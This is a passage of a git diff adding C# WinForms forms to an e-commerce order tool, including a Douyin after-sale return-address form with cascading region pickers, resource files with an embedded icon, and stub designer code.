cmbCity.SelectedItem as ComboBoxItem; + if (item == null) + return; + var city = lstArea.FirstOrDefault(a => a.code.ToString() == item.Name); + if (city != null) + { + this.cmbDistricts.Items.Clear(); + + var districts = lstArea.Where(a => a.father_code == city.code); + foreach (var District in districts) + { + cmbDistricts.Items.Add(new ComboBoxItem(District.code.ToString(), District.name)); + } + cmbDistricts.DroppedDown = true; + } + } + + private void cmbDistricts_SelectedIndexChanged(object sender, EventArgs e) + { + var item = cmbDistricts.SelectedItem as ComboBoxItem; + if (item == null) + return; + var district = lstArea.FirstOrDefault(a => a.code.ToString() == item.Name); + if (district != null) + { + this.cmbTown.Items.Clear(); + + var towns = lstArea.Where(a => a.father_code == district.code); + foreach (var town in towns) + { + cmbTown.Items.Add(new ComboBoxItem(town.code.ToString(), town.name)); + } + cmbTown.DroppedDown = true; + } + } + + private void btnAcceptReturnRefund_Click(object sender, EventArgs e) + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == _shopId); + + var type = "101"; + + var province_id = (this.cmbProvince.SelectedItem as ComboBoxItem).Name; + var province_name = (this.cmbProvince.SelectedItem as ComboBoxItem).Text; + var city_id = (this.cmbCity.SelectedItem as ComboBoxItem).Name; + var city_name = (this.cmbCity.SelectedItem as ComboBoxItem).Text; + var town_id = (this.cmbDistricts.SelectedItem as ComboBoxItem).Name; + var town_name = (this.cmbDistricts.SelectedItem as ComboBoxItem).Text; + var street_id = (this.cmbTown.SelectedItem as ComboBoxItem).Name; + var street_name = (this.cmbTown.SelectedItem as ComboBoxItem).Text; + var detail = txtDetailAddress.Text.Trim(); + var mobile = txtMobile.Text.Trim(); + var user_name = txtName.Text.Trim(); + var items = "{\"aftersale_id\":\"" + _afterSaleId + "\",\"logistics\":{\"after_sale_address_detail\":{" + + "\"city_id\":" + city_id + ",\"city_name\":\"" + city_name + "\",\"detail\":\"" + detail + "\",\"mobile\":\"" + mobile + + "\",\"province_id\":" + province_id + ",\"province_name\":\"" + province_name + "\",\"street_id\":" + street_id + + ",\"street_name\":\"" + street_name + "\",\"town_id\":" + town_id + ",\"town_name\":\"" + town_name + "\",\"user_name\":\"" + user_name + "\"" + + "}}}"/*.Replace("\"", "\\\"")*/; + + DouyinApi api = new DouyinApi(shop); + api.JsonData["type"] = type; + api.JsonData["items"] = items; + var result = api.AfterSaleOperate(); + + if (result.Contains("\"status_msg\":\"成功\"")) + { + BaseMsgForm.ShowInfo("填写退货地址成功!"); + ResultFlag = true; + this.Close(); + } + else + { + var msg = BaseRegex.GetStringJson(ref result, "sub_msg"); + if (string.IsNullOrWhiteSpace(msg)) + msg = result; + BaseMsgForm.ShowError("填写退货地址失败:" + msg); + } + } + + private void panelEx2_Click(object sender, EventArgs e) + { + this.Close(); + } + } + + public class AddressProvince + { + public string province { get; set; } + public string province_id { get; set; } + } + + public class AddressArea + { + public long code { get; set; } + public long father_code { get; set; } + public string level { get; set; } + public string name { get; set; } + public List sub_districts { get; set; } + } +} diff --git a/29WxOrder/OrderForms/AfterSaleReturnRefundForm.resx b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.resx new file mode 100644 index 0000000..21e47aa --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/Bu_YinBowerForm.Designer.cs b/29WxOrder/OrderForms/Bu_YinBowerForm.Designer.cs new file mode 100644 index 0000000..53c184c --- /dev/null +++ b/29WxOrder/OrderForms/Bu_YinBowerForm.Designer.cs @@ -0,0 +1,48 @@ + +namespace _29WxOrder.OrderForms +{ + partial class Bu_YinBowerForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Bu_YinBowerForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(371, 450); + this.Name = "Bu_YinBowerForm"; + this.Text = "Bu_YinBowerForm"; + this.TitleText = "Bu_YinBowerForm"; + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/Bu_YinBowerForm.cs b/29WxOrder/OrderForms/Bu_YinBowerForm.cs new file mode 100644 index 0000000..f328754 --- /dev/null +++ b/29WxOrder/OrderForms/Bu_YinBowerForm.cs @@ -0,0 +1,21 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class Bu_YinBowerForm : BaseForm + { + public Bu_YinBowerForm() + { + InitializeComponent(); + } + } +} diff --git a/29WxOrder/OrderForms/Bu_YinBowerForm.resx b/29WxOrder/OrderForms/Bu_YinBowerForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/OrderForms/Bu_YinBowerForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/BuyOrderForms.Designer.cs b/29WxOrder/OrderForms/BuyOrderForms.Designer.cs new file mode 100644 index 0000000..20eae4e --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderForms.Designer.cs @@ -0,0 +1,664 @@ + +namespace _29WxOrder.OrderForms +{ + partial class BuyOrderForms + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(BuyOrderForms)); + this.panel1 = new System.Windows.Forms.Panel(); + this.label1 = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.txtRemark = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label7 = new System.Windows.Forms.Label(); + this.tbsku = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label5 = new System.Windows.Forms.Label(); + this.btGoProduct = new System.Windows.Forms.Button(); + this.btbuySku = new System.Windows.Forms.Button(); + this.btupdateAddress = new System.Windows.Forms.Button(); + this.tbproductjj = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lbjjpice = new System.Windows.Forms.Label(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.combSkuList = new System.Windows.Forms.ComboBox(); + this.label10 = new System.Windows.Forms.Label(); + this.textBoxXCommission = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelCommission = new System.Windows.Forms.Label(); + 